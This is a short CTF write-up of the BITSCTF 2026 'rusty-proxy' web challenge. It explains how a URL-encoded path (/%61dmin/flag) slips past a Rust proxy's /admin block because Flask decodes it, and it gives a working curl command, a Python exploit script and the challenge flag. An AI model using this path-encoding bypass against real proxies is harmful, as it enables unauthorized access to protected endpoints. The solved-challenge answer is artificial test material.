BITSCTF 2026 - rusty-proxy - Web Exploitation Writeup

[!NOTE] CTF CHALLENGE OVERVIEW

CTF Event: BITSCTF 2026

Category: Writeup

Difficulty: [MEDIUM]

Tools Used: Python 3

Author / Writeup: LIGHT

Category: Web Exploitation

Flag: BITSCTF{tr4il3r_p4r51n6_15_p41n_1n_7h3_4hh}

Challenge Description#

Rust reverse proxy with Flask backend. Remote: http://rusty-proxy.chals.bitskrieg.in:25001

Analysis#

Proxy ACL in main.rs:

1
fn is_path_allowed(path: &str) -> bool {
2
    let normalized = path.to_lowercase();
3
    if normalized.starts_with("/admin") {
4
        return false;
5
    }
6
    true
7
}

The proxy checks the raw request path without URL decoding. Flask decodes %61 → a.

Exploitation#

1
curl "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"

/%61dmin/flag passes proxy check (doesn’t start with /admin), but Flask receives /admin/flag.

Or using Python:

1
#!/usr/bin/env python3
2
import requests
3

4
URL = "http://rusty-proxy.chals.bitskrieg.in:25001/%61dmin/flag"
5

6
r = requests.get(URL, timeout=10)
7
data = r.json()
8
print(f"Flag: {data.get('flag')}")